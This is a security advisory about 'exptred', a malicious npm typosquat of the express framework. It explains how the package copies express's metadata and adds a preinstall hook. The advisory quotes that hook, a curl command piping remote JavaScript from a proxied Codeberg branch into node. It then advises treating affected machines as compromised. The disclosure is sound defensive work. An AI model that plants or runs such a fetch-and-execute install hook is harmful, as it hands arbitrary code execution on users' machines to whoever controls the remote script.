exptred

GHSA-9ggr-p22c-2m4m

Malicious code in exptred (npm)

Details

**Severity:** Critical

**Affected versions:** `= 5.2.1`

## Source: amazon-inspector (d91842ab3e5c93f5689a985b63f8de5455910d88d6815ee35f2d35d27f8a4cf7)
npm package `[email protected]` is a typosquat of `express`: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage (expressjs.com), and index.js re-exports lib/express. The tarball adds a `preinstall` lifecycle script that pipes remote JavaScript into `node`: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/... | node`. On `npm install`, whatever bytes the web.archive.org-proxied Codeberg branch currently returns are executed on the installer's host. The source is a personal Codeberg user's raw branch content — mutable, non-publisher, unpinned, and integrity-unchecked — so the operator of that branch controls arbitrary code execution on every machine that installs the package.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exptred/MAL-2026-17246.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exptred/MAL-2026-17246.json
- https://www.npmjs.com/package/exptred/v/5.2.1
- https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/exptred/MAL-2026-17246.json
- https://www.npmjs.com/package/exptred
- https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/exptred/MAL-2026-17246.json
- https://safedep.io/dirtyblanket-express-impersonation-npm
- https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/exptred/MAL-2026-17246.json
- https://www.npmjs.com/package/exptred/v/5.2.2

Compromised versions (1)

= 5.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.